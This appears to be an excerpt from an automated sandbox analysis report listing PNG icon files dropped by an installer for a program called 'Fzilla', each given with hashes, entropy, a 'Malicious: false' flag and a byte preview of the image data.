SHA-512:	503E22FE2217CD33AA2170DEC76456ADF3327CF400D5C5833BC56CF274CC30318FF3C1D18D16F4BF86CF79BCB33A245145B55DB1BF304F88010320BD9DB27E76
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......Q.......m....m...m...tt3.[...]...:..(U.n.........."...D.i$.?.Zb0.V.M.8U.j4._Q..g..^8W....=.....hr.).I..@.0...........`.2..!...&...G.#..qR.0.%...[.}......I.,...%.yD.{..$.#i/....>U..V{...\|.......Q....M.....;...q.....+"(.4.J.]H.... ...Q.......)..k..[...................X.>.D..."bUg@W<...w......K......t.....J.`.)...$.....fY}...f.E[.....#..i"`..Z{.qT.$.ejQ..Mn(..0y.p.+bz....B....{.?...o..,.....F..>.m..c-#ai...%.%...Rq..%q._.......I.:,].g....~.^.j....>s~.C...H.x..Gq.]...8W..../r......Bl..A@7.G..U}..$.{M5:..k.2...\..t7.z..E5@..#..[.$..Z.......z..8..&..I....5...Z.z.F.l..}.H....A....q..U.............n.._.H.c.;hD....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-8RDMO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	7.800662260474723
Encrypted:	false
SSDEEP:	24:e/BpS+S4YVl9iKI/+spQxShfcm+u9Q4t/7RvuIkZEJdE/tvpuVGs1fc0I9DfY:e/Bp/EQT/+syIPZElv0VGk00Qg
MD5:	178717849AFEAA3CC9F6609E85599D3A
SHA1:	9720820E56F4BFFE73CAF41CC0AFBEB046E048BD
SHA-256:	C8A8DD1550497C1AF893F987FC4F7474FC786CD106F427BFEA45119585C05F26
SHA-512:	E16DD9EC10507264648ED297F18C9E7AC3E8042B00F782C1F112C16063CE888271C46637CFFCB7217582220572F49EAD5D59673872FDB273D3A60EE33101E908
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......4IDATx..C\|$Y.......^....b.......9....m..Ll'..:.....9........`Z.H`......P..T.S.Fh........u.{.......U..:..sh..)% .._.L....S.g...d.\_.[..m..@........!-:/.."V..k..t..V...HE+..........Q..q=(..dfz.@.yoR..j..dx<...j.JZ.+.....o..l...%E.UV.y..7..5@..6"#.Kj.7....x. .W.&...P...............7....L...p...o..Z=.....G.3.H/..V441...Dvz..m6.x.9..o...n......%......&seedX..L.." T_....m[..L.b.C...?<.Ma.k..,.._.0....).. .S...VEE...b...oe..>...i.g..........w.9..gp.X."3.qr.....Q.^...$.U+..^../#....%..F.....{@b\'.^.c.e.$%..H....x\|...7r.u 8%...........R......$.`..iP.-`u..R.=.<p....^D"S..\|.8..r.@...F.....l.`..K..V.;.<.......#.#`gh].d.S..!m..},8!'.G..~>.......E..f.C...gg.T`.#.....6...Hc.Y.d...l...!.:..+.]oS.g..^.0..B .+."....@DJ.M..`...........C.^..n..)..Y..3K......`.,.(M;B...d;. .AL~.b.....V....E...Z........7..X.]kXR....$.[Yho.S.6....(iE.8TF..H)...Iy9........o...n..`..2.....rs..:!0....!06...<..),...4.......q...t..WV@u]....Oyu..{.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-8T0V1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.482731600175207
Encrypted:	false
SSDEEP:	12:6v/7r7mYuYPUJs/0AQHdMmxmKzVHdWrgzPWBtJRzMCCNMJGr0OEhyN9/+kXahopF:cEYPoU0AQHdMmxZztwszeBtGYhk95Xai
MD5:	BA95DC4223903C4D79221308B9933527
SHA1:	70BA3062582D584605897B25A00F1D2AB59625DC
SHA-256:	073A415017A07653662CA8D62A23EC8B96FE0A306225DEEE608BD4922E5C89CC
SHA-512:	2D6F6668FF002CFAD46EF20EE0D548CAC04B97F4B9A92B6BA5F86045B295C19A232A793652FD1FFFD02D95BF48BD89814A52E3DA8094A1E28142B911482CF8AE
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...=IDATx...c.\A....m..+..9A... ....X.{.f....z.g\|mxn......c..........+;...5...n.2`..?~.C.$ TWU#" .RBZ........Hk6..xv......U.W\.jim.....D#a..+K.f.@Z.[...._.E_.......Mh...f.])....f.@Z.V.y..>"x...>...[ZZ..m.D..>f^.h.2u..c..k7...>....q.DD..2R.*_(.zvB...].`...\^.u..C$Ea..^1.....=.U\| ..$...-.L D.....4.c.CB.....b.. +..N.&..(......-..,I......q.O.....}j..?S#.[..........L=.%.c...SS.a......Q.i7k[f.RJ.B.......;jj$.4....vv...._[f.(...........jjn...Rfh.....H.x.)...%.Y...5.0fr.j..9S.i.m.Cwm..P.el...(k..bRc...6..~....2..jh.S_.F&.,.$.1L\|14.Y#.g.5....r@C,.....;<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-CLODO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	7.815257026603366
Encrypted:	false
SSDEEP:	24:I7JgCOz7VugLOfnx4+94D2J+vI+vzhf2FFCcX3NYn6OmsnobKKOyPGW0wX9Z9j23:I7JKVuoa9K0+vIKzhi9OeKKOMGW77h23
MD5:	07FDA58F24AF0B428458056D5720ECA9
SHA1:	1AEE091B27B0FD8B5C747F77560D60D4B986C93E
SHA-256:	5987428EFEC9E5B470A37DE7EA85F190C8C761EACC5C11B9A70F7D8FEC212E19
SHA-512:	D108CCB08B7CAD8C151FC38352BD9E07086135F93EAFB72D46F446956755DA5F54482E8A013A095EAA48EED5484BC5809D5C150552218189E2971B1A32C910B8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..cx#k....m..NS.Iw.........V...m+u..9w..e1.[<O~....\|g...#...F@#....f...xGvj....F.e.S:.f..t..(.... ..U@.W@......(u..Z......./..!$.....p..-.&...z.....&.oi.F...H.b0.eA...p...{r?....P.............}W.+.m]:.-.<..<.o\|C.z.{<.5}..Wt...cS2 ...N..R.2xe..0.a}n...p..%P..?..6..I .....d..Y..+I..!......y`.......o..=Ii..4..+...T:...\.M..os./...../.N.k./]:..........mkN..=G..Q.=Q.B..E..+.U....d.=.+I....)......s......#...."+!.S..?hkQMm..=!\...OA....V..?U.B%..G...Ao...=#M..._..5.`...=..(.(@..)A....Y...FJ.G..(.(..mv.]<...6..q....h..&...........c.P.......G."P\IP.......v...P....-d%..t..%U..+....Y.R..3....4mD..2....LAf~..?P....G#@....b.Z....8D....H..RU\.V..-............Oc.-Qm:u.....ZLAs_.L .....'...).ME`qm5u........;..a.... :..q..\|.-:...n.... ............4tH.v.-..G..&@.....J...rXu.:.o<....(>.s.. }.a....{...^.}..`?...p.r#..r7.q.]....X".......CLA{..;...(.kO@....BC.P......XL..Y4Db..(.G..V8N<>(.....&9..q..G$...0

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-DJ0GE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.901591130843325
Encrypted:	false
SSDEEP:	48:WKFiWzAR1CHj978lUcmgY2XaBxIFMe5quvVGxdJZF:vfzAY9gpgIqeIuvVGxdJZF
MD5:	65EB2BB0526D972D020B025D5D34A386
SHA1:	F60414789F8A919C9F9E58D45A70CD56C3CCE73B
SHA-256:	019B044CADAC109696C2C21F742125406039E27FDE582156CDCBE54C0F0C964D
SHA-512:	15BE3C9982CE18A47FEA85D1CB7204CCE9954F11E8ACCB47C8139D3F2BE4606439B49A78CDC110DA10097B8F151DCA9C6CEC17BE40F5DFD3BBA03A966CFB699C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......0IDATx....dI....<...=X.Y.o.m..]...m........k."...6..x....\|?a.eo.9._..c........9..}(B.I..Epo.7...?...0G......f.7..~{6u.(........G..4jS..:..n+.m.Qv.......yN.x..}..Y...4.....CXv..(f/.,... JX7..<...X..R......?...x.?.....O^.xV.....~G..`.d.....Q.I..R....q.....v......G...\|... .>u...F...........R....y.).I..$..bp.........{..NE,9.....[...%..n.....U+.t.Y......M\..[63.h..c.A.V+.p....lBl...?..0.i..>r.G.y5p.>Pi../.-...{?.S.V...:.S.6?s.A..G1FN1x.C...RJ..t...K..&.7..c._0K8.\|..yf.t....b.o.xbS.?:. L....d..S........YZ.yR.u.....2.".U....R..5..Z...I..7...!.N.;.+.S_{X,r.i.Y.0'..=l..X,Z[2...`.,S..4j...k...u.T..../.`.9.-U...cm.....X...6..#.e...h..q.....O\|.^<o......G .bZ..u...'..S..{..i.... .~*Y.p...j=...jt.6.@...A.-`.E+%p.B.......#.F/.......&....~.r..'H.:B9O._[...........az..%q..s.<..U.r%.....h.r..fe...d.....-6p..'.wQ..Cbs......;.:..fsdc.......p..0..:..<r.K...(%....K..Xr...$...."....l....#.O[c....x..RI9t..y.k......~.r..R(P.y....S

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-DJ4EJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1104
Entropy (8bit):	7.7511874951879065
Encrypted:	false
SSDEEP:	24:3pxJIBlF6YAY9vcBsHLX7c0qOqPY8Vb9joh2CsDzYIynUmlW76rXvIz:3pbUFwBsrX5BqPruhgDzNyUmYz
MD5:	76E98F56F5327E70852A7D5765D9B1DE
SHA1:	532045611207D80572F77657788A65E41342AA03
SHA-256:	A450278FF8D5DB0EB5A705E9DB979CF6C76E4103ED561B35778B6BD5D6D04574
SHA-512:	2920B840AE52E5BE33FADE1646D00A7351BED30AA9FABA3002091E868D84FADC3D795B609F61BD862C19FBC76201667FEE96A887B95B26BCF11597DD7AEA4623
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....%G.... .m.m.(.....Q..m..7o.o..O.k.tj......E....V.....]w.&..L....g.f..T.a..}_.\..W.z...C..[.....B.p0..(I..HP)Q..1.....X..D.x.UEX....wPa....g....3.t.6\.].....o.6..>.....C....'/=.......c&N..c 0t}_....w.}dA....W.8...<.3.......].g.}.1.n......".....u.6......{...........nG.z(.Ak.6.; .",G.8a(..a.5....=....".)..xK...!.O.5..Q..B....Y.<.0.)@(b`.AZ.EE.B..."-....s.......E.)!(..% .d...0.m.4..g.q.,..V...u..^{..@..&"..@c.....O8.j.M.......d.Q$6..p....v..Y.U...[...AZ...`z......DZ.v.$pk..I.....!.T..yp.'k=.....z..cilr7X}.+...~..;t...;.6..{....u.[.....6..v3.J.Z(.C....3...._.N.U.^.....k.....}.n.....\|...fz... ..F..o..(.(0.b.D`.."4".s..{...f.B.;r\eT...}....t`.X..q%.c..y..+......f."..I...L...ZE...S..5J..`....p.(..L.b@...;>....2V...^..H.).bU....B.0....f.k....R.L.4...@.......Z.z.v..@.C....1.G.p.........\u.\|..\|.x...v...t......V.q.....,...._m{.....?....$U..F.(........:...qV......$m..M.u Xe;..V.......)c

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-EDTMA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	7.897825550427399
Encrypted:	false
SSDEEP:	48:X8wYZs+zHYmu7y5p3HaZ7KkCz54uYYIOxUQzWluMYvlOQFuAlSr0e:X7CLvx3M7vgeY9WliNOQ7l00e
MD5:	4631391B6F8FA1B0BFF28FC2F675F35B
SHA1:	DFA697B89B0F7EB50AAD6138FBAA88A92EB5FCFE
SHA-256:	F5B3CC02279C119BFC0A40D461C0F49C089F7B826DD288E841D26D918D2464D5
SHA-512:	89F4E8273D88B3825247692FA2BB7798D8A219440556EA52B0EA0FA5AEA977485EBFC48072FDD547C7EF197333F1B4C073F802BCBB901698E752C7CCC0640397
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...l%Ks........1..afff.+ .'...$.33333s...l_.....N.,K.....\|V.U...Su./.$..x...m...J^...;?.W...;......\|..}.......J..Y......t...7cS.......y.$...U@..".W..r..gl.c..%U7n..1.~I....R..m..<..=...6`.x.i./-.....h.^.....?.3..~..,.Z.3.c+p..<.....,..._..Q.._..@.[..C..i_...y..a~a.$. D..q..u.qTcw...........J.>......C...[.t..(..H.-.....l..[..HX....R.Xmnf<.Fc8zJ.k..%..20.mn0........=......O......+\..q;Z..W...ft9.Yb0V...Y.f\|......_.u(..,...Cvd~.B..&...Mb.u.P7..........=.2.X..8..s..........,...'....{.....Y...q.L..<......n{.F.@..XP.)......9.,...../..~.{?S.b(.s.&...,B).0....&.Y+..Ea......`.Z6^z..N](~....td.W-1........b.G.ua...a..w....X....P..-....w.3......ZH..]".P...,-.%d.e..W.....~.eb... p...}.].......s..onH.....w...p."81..E."Q.@.d.D._iF...0....e6{....[7maf\|.=..o.9}.`y....q...d..$.it;^.......>.................Pw.l&.}..Yv.......u.........3.....y@...o...I$.".Sb}........).ME...5.Sl.c.....K.XZ.2m.....&.E..U....;....;

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-F4IQ4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	7.8644908150916795
Encrypted:	false
SSDEEP:	48:YjMC3vrpS6jngDNJ0ycHkmQ1VW+WVXkHqc:iMiS4gRNOkXD+0HP
MD5:	E0B07495846284FD7B641BDF4BF2B589
SHA1:	658CC83A8F5911F71583F90569E7F1D052BCF9CC
SHA-256:	963FBC54B22B6BF45F6815699DC3309F101A80AA6F5A309DDDBB6E0B652BFC98
SHA-512:	41B775CDFA0E33EB2882FF7929A846D10D5336C0EB99552B29BAF33F8208E2A97A68583D9D89426BB67593F2F878B1F1613D794639F1B919CE4CB0DA590814AE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......BIDATx..Y..$]..m.mcm.6...m.l.m...t...lw........{.Y/....."r_........E.D.D...?.............N....>...{%B......`........8.......S.\|}.Scb....Inn...t.];...r..Y9}....C..Z%;{......}.....w..3.......b...VN.<!.. .....-....O...}.u...c.,^..'s.....w.....7.....V2.....I__...TKUU.A.s..R..\|..+..........+,,..9rXZ[[....\@@.d4.1.>>^........}........H.OOw....cw.@...z...Juu.$`k...S%22B...t..>......'].=u..v.w.@hh...2...w..)...x! ooO..}....1WW.-0\|....F//..9...u....^...q.o...8q.U.F$.!!.y.......d..S..2.FWVV....Z.u.U. ..........<..Pdd..9(.y855.y..f{{[.&cxs.......c.......KaD_..\...kI.....t....5...................2.....)W.\A..{.hkk..)..7o.RYY......G...ep) ..a__.._..~..x...innRI..n....7.........78z....K2d..w.....R..o......Sd....4........h.!.F..'.y.y.'.5.......c.E.......:tPz{{f{ [/.Wg.......6+0...f.......z.A-...9.k.6....E.~.3Qz.J9s.4.*....C.!{Y..;.v3f.....jsII1Z.".z.Y.l..y.&..~......H?....l..v..f..g...{.<x@+.,...nc.1YQ.z1.t-.....

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-HFUOF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	7.8762797330707555
Encrypted:	false
SSDEEP:	48:XILAWNE6dHZ/a8cLzffDRMbeiqoGhVToxmhu06GYhTpb/eUCa:XPje7cPjRM0oooxv0C5pDeUCa
MD5:	23A970B367AD89FE98FD71BABF791094
SHA1:	931FE4C1DA95C9E3FA75683722914AA547D568B8
SHA-256:	BB91A6D5EABF4AB5B376F7AD578CFE4879B19650F1DC3389903B0FE9D1C11988
SHA-512:	BF22525D419F0B6ADEE1344AE7CA67DBCC28860CA498B2BE36B5763121A401D5D45615FB68A33D9180FBE3BA0DBCBC4B5BB3A9D40C225ADE69D78F0B543EE184
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....cO.....d2;;Z.c.m.m.m.o.m{....}.L.V...fSx1.....t.:,..m...MO...[.......U.8:$g....:trC..;. ......n:..d.Q.&...^.\.{{.P...l...5...j..I...P."....D.Z#.2nq.....\|Bl......Exf'.[.;.P.{F''i8w...{.."1r.[..0.....Z.2?.Y5I.!.vB<.&w\.[......5.......\...3...ax....BU...jL..t$....\.....`...k0g..e...X.v.G....z#..k3......q.\|..Y...c....."P...g..n..=...(......."f.....a7...a.......-.8.b...P..X.M7..-.^..cG..L...P.=/..Co.u..=...".....2...gE.9..q.{.....K<....2.x.j...3V....X.1J.1......qIi.\......^.+.+Uz......=.....".........UP...n...T...Y..R.....t..Co....8....WP.(.^=.../.A..0G(.g.......V.1.jd.ze....y.U...G....u._........rl...'91..`..4.....l.'e.@...xUT=63.Sz....>].".(6Ho.-yPA[U.G......sW.4.O!0.C.?.".cn..;.!@.M...@w_..B.T.;.J...E.....v$e.<54..c..OETe...y..n.XUiU..o..2.yU...R...{G.>u.P}....Q(.r...lf..P...E}+#.@m....f.....\|..s......+v.2/......_U....y>p.i..).S?.....B/....w..i{e>.b.s....=KB..&..1;...@.....[..&

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-I22DN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	7.877373103536374
Encrypted:	false
SSDEEP:	48:+h0Tl+ek5SeK3GEGrhrYW2J+4EEsIwUR6kL/BqUMMc4CHsEDXTqx:+mh+ek43GvrhrYW2J+4MUwcqUMMc/H/G
MD5:	309698AFE2B6DDEF3E1117EB53D969C3
SHA1:	286F1832883CE58576A221CF42FAE815307C0C1C
SHA-256:	869ACB4262F5792007870D5A6D58AD687B750F7D8DA23309BF3FFA9DAB949187
SHA-512:	1979ECE952EA589CAE052959C53038EE8B8BC676D82F1662EC33EC9954D8589BBD944C5E82D8667B8CC97F83A5B2EBD8DAB2CFB24AB1B66AB21E9E5D8E82501A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....i.....$.3.....e....h..m..n.F..X...3;..z.9.....}..F..9r........U,..\|......8h\:...........+....Ykt...^/.9.=^Y.@g]....<x...4.-......9.`E......tm..k.z...._".......dBP.&\.7..8.:... ^.`..........q8\.}p.u.-...(t.%.>..\.myS4...u........xY..0Vw.[..:.L\......m.....us....._}......>..pIe..l..Q.........E.. n+[$yCI}.."..]....:.V)...Hx.I,.R0..o.L......y3.DsEK.7w..tN.....G...?..0Q...}.g.".T.....$...p...k.H......_.......[&.Z...&.....n..h..H.pdT>.0..p..W....h...%7#._.............B.R....\|r.?.<..^G....H...t.O.U..:k)...!..6.....k..w...........iK.........@c.G...C.A..a65...4...:L.BEs.?5.y.e%.}`..d............x]u4..\p......6..!}.P.E..k(.....D4z1.S.....d21..#.A...`t...VG.0..o...>...x................X.b/)(.......b...T2.....E4.."%:.Q\..l.".dv.....i.......j6 .q.0....)..1..W.E..6.o.._..k@.......+..sK.i.H.f.8C..r. .Hc..F.=....j...5<.n..q..PF.8Q.+......(...~.....8..4.<.~v.x^.X.j..0X.df.[.......L.....a[

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-I81OT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4194
Entropy (8bit):	7.936067716270614
Encrypted:	false
SSDEEP:	96:I2wtG78rtCoBV2JPOqLbrCL8zadRWaKFUF6K/B5Iaz+8cQ+Jl:oGO5sLbU44PKCnB53z+FQ+Jl
MD5:	02B8F7AD4757D634DD02AD99C5FA51D7
SHA1:	F16D5A3E1E2F7C61EABF39F0C1F2512C9A9C4619
SHA-256:	225D7824698CFFCF5C909356AAB0E825A0B6B0C68CD839505EFD0E37440CB22E
SHA-512:	D8CF5F042719BA6485085D38CAC197A56F07AAE168BC74D18986A4578741EE4B50C06FA9B92CD215293D890317676ADD85EB80685C6EC10272ED6250E8EC771F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......)IDATx....p.W...s.{F,...0......{.3.{.,y).......N.Q.lE8..L...~]].../d.Wu<..../...QU.?..........z.."r.9w.s.....%!w#R@.Z@..]v.vc......W...c.....5.._....1&)..@!TTu.......V`..1.....N..n..f/\|../<...........,...B.T/..`.>'M....Ic.}.w.`+p..O.A.....i..6..Q.......y....Rk=...7.N>... t1...N.=.....u..>..+O....^...."O......O=.....G39.M._..K...I.<M..$..D=....M.[Z.VQ..[m..MR.....B2.....XY.[^..^`.#....?c9..;..j\S...r.{.g.\...D}.........bBM...\f..)...fY...:G...i....t\...p..j......a . .{=X\|~a!b.c`s.....d.....I.rH.P...6.%..\|..X#...,.w...U-.YG...l,..1....o.I.G#\|.k/}.1...N.1kG......sg...-D.;..r....`.x....C.I...G.70.p..j!..'....g.9..Hs...h5.^q.a.$..j....PSH.... ....{\|c.ST,..?2.....\|T./.....B....f.u.7."../.&Y.z....9..~L...~..v\....!.=.Y.s..X..g.i.)g=M....Q.% .$...@D.'<q....X.!.og.....3..................i.....j!......}a ".q.}..$N...dY....9.+..z.....H.j.le#..^. ..Q....q.B)...k.........<.........i[O}$.......D..U'.....D.i@h...Q..P..'

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-IFPFN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2577
Entropy (8bit):	7.913838494207273
Encrypted:	false
SSDEEP:	48:P4FKEWyPnIVef+8cJJ/qxnUG5apR3/Cx3TDwEUbVvPh4+qu9zBj6G2fl0AFAHsaA:P0KEW+nIUfeJdSVapR6huNhbBT6GHAFh
MD5:	5C23C4F4A5BA59F1D3FA273AB1A7C13D
SHA1:	EEAF8C9C2D0C6F79094B40A0EE6C6F9364AE4168
SHA-256:	641DAD2CA989390408618D30137422CA5455B874D794C3BD0DE361F150003549
SHA-512:	04A99722A9E138A7A981A4F00F9D233A5F89B003CE010CE62ED8B1CC69ED643392A0ED1581E1E278063A249B8313E3F5F4B84CC7B7EA6B2B71E6E00D16DF19F4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A...............5.8<....W.xr{.T.+.n..0.U.t..y....p<{.L..........FFF.`.6.<cbbNNMM9....\..............233...#@mmm//G.'a.........E....UPP...:...X`v.@@......p...z....Z.........A..y...t6$$...%....}..jkk.............>....M.;.........YMOO...BB@ee.RSS...".oqqQ..{W.._.M...E.........)--M...++....O....w..O....GGG......vvv...M....Tvv."##......@e....~...{kR.[...........)//...q...+::.c.;08p.!.....&.LZGoo.....@..........X....\...CCC..[R..K.........]]]...]f.1......\|.7......C..O.s..x...u.2......\\|.....f....Ma...0......`6.b...ZZZr....?^%.l.."=VWW]...b.a---.2.fw.......:..t...(X08v.<.......0.......(................C_....\|l...$Y.(<^.>X....]].Oc.V!.\......R..m<.....a..8..(../..?i.$I.$..%tu-.[......,?..$..}...(.,..3z...t.p...c.........y.-<...zb......JK.e.k5t..~.=\|\/....&D..'Ig..U...I..B....kE..q5Gv.(.,..S..o..O.....#$0.[?FZ...>..L...Xl.>..G..t....._...........k...'....I.r.rNk..U..{.p.`Q*..j.+.g..9...\|..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-IKM17.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2733
Entropy (8bit):	7.904291926606656
Encrypted:	false
SSDEEP:	48:b97qz8/dKdKgEu3RtDFR1ClZF3zRv/a/EP1s8vkf6NwG6dJHK7Vbq5EKzUVLijft:bJk4dcK7KxR1ClHzpSqcfDG6dh+M5uJa
MD5:	924347274EBA9CBF4B63FC26726A1D8B
SHA1:	DA095A7540A58DF1DD6425A63C5916E0E6D397D2
SHA-256:	095DD0FBAD7491167D397DDF6441931D2CB5A084FAA223BD136D759380778BCA
SHA-512:	C0130398EA991135F8E597F00B31D3D90D71E3C8B65C138A35559DD69EF5CC752ACDC7521F456FF4B4694B7183D4BC9482CDE6EE8E5B543FE9A89BA3C92A564F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......tIDATx...t.I.......\.aZff..3..33.2.33..2c..?.L..df[4.]..............a}.......\\|..oy..X..x.."...3?.0{.Z.R@.3.}..d.......kq[.....=qoI.j$.JQ.N..r. ....0'...L..6.}0..}.) .,}....o/K...3...F.DwVSy\|...A............(..H6K6.g..Hlj.c.D....2.jn~2"t..3.%=.f.........u..H..t.\ ..S...d...,yK5.^>.S.N#F [t..-....Yi......k..L.`Rni..W..3..`.t.t.l....3..;......]{qGa.j`...O8{u#N....BL.p..-....>...q..@..._).......O....S.U.S..7.S..R...o.c.........R+.5...$...Z...../.l.7\|..." c.{....H...U.k...C'\|..\|.~.,&.R.J>R..).;...Z>wL.........\,%...J.4L.../^.6.G...{[.....p...vv../9.......n4.".?gA..&..EKAE.R&......".../.@D(#..G..w?s.hA..1hi....Y..9...Z]....:&q..D..N_r..Vp..Ub... .........9:zzw..0.g>.>2.....30.=.?(....\|.%]..ln..n...o..y[`Fc".aa_[.u.&..A...Y...w.y.:v@.Y.'...F..... H$H%.v............m.5.'"...D@P..Y.J.c..o<...xq....U.e....PU.2r+....e7.........G.6h..OA.Q.XB-8.b.E....a......H..f.D..Z%.>.R...0....Vf...0br..d..{UKp.t......*.H......t...u?....5.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-IU6KS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	242
Entropy (8bit):	6.739093803352361
Encrypted:	false
SSDEEP:	6:6v/lhPmj8cSKxqMGU2IgcLFcndvfqlXNw4IlPlmSQmMUMlVp:6v/7O8M2U2kF6feXPINcsM1
MD5:	205E3AF9DD4D57B8C20A2C64C76858ED
SHA1:	2EFFA06F1971D5AC5561FD30150F8D00BFFAD981
SHA-256:	F8AC90F8CE2F520A1FDE4660652AE9BBAAF3FD2BD5688120C3D23196C65DB6CA
SHA-512:	71E9C0B3CA82A297506C64222CC1EFE15401F909D464592F5107CB6032A858428448525415BE36BE2BF3A365297E93EFA4B4B1D46AB987B07431F3296A1C8AC7
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx...1..@.Fa..9.&.E...&.P.....i.)..`#.....<...E.2#.3...."....`....`....\..{.....H.....M....\...:&.....$P...TJO4...$...$...Xs....^....M....Q......KO.g.cN.~g.T...X.t>.G..R...?.7.......:....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\is-K95KD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2260
Entropy (8bit):	7.9077953868133095
Encrypted:	false
SSDEEP:	48:72kHDtR50gyxNdG8CKIeUHKWw89pyTvxHmoFRm3dkNJCqpj:ZRR5TyjdhCK3UHKgGxHmEJR
MD5:	F224EBF437ED8CFBCB9FE5405866C9F1
SHA1:	75E17A12A7C49076CF97546CAACE035BF18A8144
SHA-256:	A921F04A8C9B9C28A51372939A5074895B507DD4FD4BB7AED9C1B08780440EA2
SHA-512:	08A72990B2B49B7A0B4D2B412DEF3AB2D4753A0878676BE71E414AED474CC6A09413A5A7E7A139353EFD67944989EAAA8C0A8C5D7540F7BE32F0E12F02E10F35
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..UX.......?]w.O.wG:......L...%...H<...I.YwWuj.......J8..Zg.sj......<..d;.DC.N.I:...$.y.eD..N.)!.u.....\..q..5..e.6..C....b.....0@B>O.pVJO;..#...#.....,.O..Im..W.....q...a.KU.......(......3...."...M.....GES#J.p.....^.+.p..q..m.x....M...U..W...,...2.H#..DDF..8..f..;....;8...:$xZ....F..Ud.0S.g.\|......N...a.V....8_t.5PZ...PDG.7c..1H....\@\~.....We2.B...~uD.$!Ap...Q.FPb..\<..N.vw.e.%..Il..D..#...~..;O..&l.Zt.I!.m+...k1`#...^.5...P.m...7..d.'H...\{p.g..p......."2..Bhv...(<v..........4....P5. .........8zx\|......Qx.....Q%Gln...Z8q.....v.BDV..v..!Z.K..'....-(..b.r....*..S..C;..P..W6. ...F$.{..L..C1...`..j...."..k...%a...w..3....?...../..F.......&.Yc.._p.A.._....D.o{..>;.p.E..%...Q.o....;......R...<..Q9..M.wL.UN.-.%DA...........6b.7-..'.d.+.oR#.....x.A/=Df....s..d..[.4$.#C...iT 